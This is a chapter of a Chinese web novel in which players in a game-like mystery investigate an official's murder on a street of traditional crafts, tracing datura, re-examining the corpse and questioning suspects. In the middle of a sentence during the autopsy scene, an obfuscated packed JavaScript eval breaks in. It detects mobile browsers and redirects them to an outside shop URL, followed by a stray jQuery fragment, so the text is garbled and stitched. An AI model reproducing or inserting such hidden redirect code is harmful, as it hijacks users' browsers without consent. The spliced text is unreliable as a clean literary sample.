绒花店的老板和学徒都没有对曼陀罗的存在刻意遮掩,甚至根本不知道这种花的名字。
南柯斟酌片刻,问老板:“除了您,还有谁知道这种花可以毒死老鼠吗?”这个问题有点儿超纲,以她当前的身份问不太合适,但她没时间再兜圈子了。
不过,老板完全没心思在意这些。听到南柯的话,她始终从容的脸上显而易见地闪过一丝慌乱。她心不在焉答:“没……只有我自己知道。”
那就是还有别人知道了。
从她的表现看,她想掩饰的似乎并不是那个人知道曼陀罗,而是那个人本身的存在,或者说,是她和那个人的关系。
很显然,从老板这里问不出更多消息了,南柯礼貌地和她告别。
——
中午,南柯三人再次在面馆碰头。他们找了个隐蔽的位置,一边吃午饭一边低声同步今天的信息。
李柏神色振奋:“打听过了,文部长确实有个姓周的助理,这个助理厉害得很,文部长视他为左右手,很多事都会参考他的意见。前阵子文部长来非遗街,他还形影不离呢,听说最近是在替部长办别的事,抽不出空过来。”
秦萝压低声音:“小苏他们的判断果然没错,看来,这个周助就是外来者之一了!”
南柯点点头,把她上午的发现也说了一遍。
线索接连出现,李柏恨不得今天之内就把案子破了:“那我们接下来应该怎么做?”
南柯正要说话,和他们隔了几个桌的客人叫了伙计结账。
那个客人看着三十多岁,面容清俊。南柯注意到他,是因为他身上除了有匠人的气质,还有一种很儒雅的书卷气,和非遗街上其他的手艺人不太一样。
伙计过去的时候,他笑着夸赞:“最近手艺又进步了。”
伙计不好意思地摆摆手:“和我师傅比还有差距。等他老人家病好了让他给您做。”
客人笑着颔首,撩起长袍起身离开。
南柯问李柏:“这个人也是非遗街上的吗?”最近李柏都在街上跑八卦,认的人更全。
李柏点点头:“这是牙雕店的店主。听说他从小读书就厉害,但祖传的手艺不能没有传人,所以被家里人逼着辍学了。”
秦萝啧啧称赞:“这条街上还有你不知道的事儿吗?”
“嗨”,李柏有些骄傲,“动脑我不行,但打听八卦我在行啊。”
秦萝感慨:“还别说,这个面馆生意真好,感觉大半条街的人都在这儿吃饭呢。”
李柏吞下一口面:“这儿的刀削面确实正宗。不过话又说回来,这条街上的吃食都挺正宗的。”
秦萝挑眉:“还背着我们吃独食呢?你哪儿来的钱。”
李柏讪讪一笑:“我是学徒,师傅按天给补贴。”
秦萝:……哦,看来她和南柯不用为了之后几天的饭钱发愁了。
这个插曲过后,秦萝说起她今天在云锦店的见闻:“我这儿倒是没什么新鲜事儿,就是文部长又去找老李头,然后又被轰出去了。跟按了重播键一样,情景和我们第一天看到的一模一样。”
南柯随口问:“缂丝店的老张头又说风凉话了?”
“嘿,我正要说呢。”秦萝回忆起当时的场景,“那个老张头是越来越过分了,他让老李头有本事对文部长喊打喊杀去,没本事就把东西捐了,别连累全街的人,把老李头气得差点儿晕倒。”
南柯斟酌着其中的人物关系。看上去,老张头对文部长并没有很强的敌意,捐文物也捐得干脆利落,顶多在背后念叨一两句;老李头对文部长的恨意倒是与日俱增,但他又没有作案的能力。
南柯想起苏二信里提过的文部长宴请手艺人的事。老李头最后还是把传家宝捐了,这之间一定还发生了什么事,而且这件事可能和案情紧密相关。
幸好,在他们这条时间线上,可以有针对性地跟进未发生的事。
吃完饭,南柯让李柏先去完成制作非遗作品的任务,秦萝则继续跟进云锦店的事。虽然昨天她被老李头轰出去了,但老人不记仇,她解释清楚后便又允许她在一旁观摩。即使不为了查案,近距离观赏这种高级工艺也是难得的体验。
南柯则去茶馆二楼找了个合适的位置坐下,点了一壶茶。这个位置可以透过窗口看到绒花店的门面,如果店里的曼陀罗真的和凶杀案相关,那线索应该会自动送上门来。
不过,这个下午,绒花店并没有什么新鲜事。文部长倒是去了一趟店里,但只待了很短的时间,出来的时候手上多了几支样式各不相同的绒花发簪,看起来只是单纯去买东西。
南柯也不气馁。案件的真相已经掀开一角,找出凶手只是时间问题。
晚上,她汇总了当天的信息给苏二寄了信。今天是第三天,她和秦萝加起来还剩下16点【手艺人的好感度】。继续做非遗作品赚好感度太浪费时间,剩下的好感度还够寄三次信,看来只能第四天或第五天空缺一次信件了。
——
七月二十三日。
今天的阮清韵精神头很足,一大早便嚷嚷着要去再次验尸。他们三个人到警署的时候,警卫打着哈欠开了门:“三位,这么早就来了?”
阮清韵开门见山:“文光明的尸体呢?”
警卫怔了怔:“还在地下室。”
阮清韵:“带我们去看。”
“啊,上次不是验过了?”警卫有些为难,“放了两天,现在都有些发臭了,你们确定要看?”
阮清韵皱了皱眉:“那你去拿口罩和手套来。”进入腐败阶段的尸体她见过不少,但每次见还是忍不住恶心。
警卫只能妥协:“那好吧。您三位可真敬业,破了案也没奖金啊。”
苏二三人面无表情:但不破案就会死。
阮清韵身上还穿着苏二的外套。进入存放尸体的地下室之前,她将头埋进外套里,猛吸了两口。做足心理准备后,才一脸视死如归地走进去。
苏二:……
不过,阮清韵很快切换到工作状态。她手持放大镜,忍着恶心在已经产生尸绿的尸体上仔细查看,任何细节都不放过。
简易版的放大镜毕竟比不上真正的放大镜,她要上下移动镜片,时刻调整焦距,才能勉强看清尸体表面的皮肤纹路。
这一查看就是一小时。
出于微薄的队友情,白芒和苏二一直在旁边陪着她。虽然戴着口罩,但尸体的腐臭味还是时不时通过口罩的缝隙飘进鼻孔。这一小时显得格外漫长。
终于,阮清韵结
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039878|187240||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
束了全身检查,若有所思地直起身子。
白芒立刻问:“查出什么了吗?”
阮清韵皱了皱眉,眼神有些复杂:“算是吧,但我不能确定。”她指了指尸体的胸口:“这里,有个非常非常小的小红点,肉眼不可见,即使用放大镜也只能勉强看到。考虑到尸体被水浸泡过,皮肤发胀,浸水之前的痕迹可能比这个红点面积略大一些,但还是太小了。”
苏二揣测:“说明死者可能曾被细且尖锐的东西刺入过心脏?”
“不一定。”阮清韵有些无奈,“这个痕迹不具有特异性,举个例子,就连皮肤表面的一根汗毛被扯掉,也可能会留下这种极小的出血点。只是它出现在心脏附近,位置比较特殊罢了。尸体的其他部位,我暂时没发现什么异常。”
苏二盯着尸体的胸口看了几秒钟。
片刻,他道:“这是不是致命伤,问问凶手就知道了。我们将所有嫌疑人召集起来,再进行一次统一审讯。”
——
苏二审讯前,南柯的信件及时送到。他看完信,根据更新的信息将原本的说辞进行了简单调整。
警署的办案效率一如既往地低下,晚上五点才将所有手艺人再次聚集在警署的会客厅里。
这次,苏二没再寒暄,开门见山道:“文部长的死因,我们已经查明。”
白芒和阮清韵仔细关注着所有人的反应,这是苏二提前分配给他们的任务。
苏二顿了顿,继续道:“七月十九日晚,文部长参加完酒局后孤身回到酒店。出于某种原因,他在房间点燃了凶手制作的迷香,从而陷入昏迷。这种迷香的主要成分是曼陀罗。”
大多数人露出困惑的神情,显然,他们并不知道曼陀罗到底是什么。当然,也有人为这个名字感到震惊,比如中药店的老中医。只有一个人,除了震惊外,神色间还多了些不自觉的焦虑和担忧。
苏二再次给了众人缓冲的时间,一分钟后,才接着道:“七月二十号凌晨,有人潜入文部长的房间,用桑蚕丝束对已经昏迷的他进行了勒颈。除此之外,还有人用极细的针状物刺入他的心脏。”
在场的人表情瞬间精彩纷呈。
剪纸店主疑惑道:“不对呀,我们二十号晚上还看到文部长来着,而且不止一个人看到。”
他说完,有几个人立刻跟着附和。
苏二神色平静:“那可能是凶手假扮的死者。”
剪纸店主似乎更相信自己的眼睛:“你有什么证据吗?”
“证据啊……”苏二唇角牵起一个弧度,“没有。这都是我们猜的。”
他和白芒、阮清韵将众人的表情尽收眼底。
片刻,他淡淡道:“这次只是和大家汇报一下探案的进度,辛苦大家了。”
省略掉问询的环节,苏二直接请警卫将众人送回牢房。二十多个手艺人或一头雾水、或心事重重地离开。
苏二三人对视一眼,会心一笑。结合南柯提供的线索,这次的审讯完全达到了预期效果,凶案的脉络逐渐被描画清晰。
今天,他们没再拖延,审讯结束后立刻给南柯写了回信。事实证明,他们的急迫不无道理。在他们刚刚返回酒店的那一刻,一队警卫突然出现,十分抱歉地通知,他们被捕了。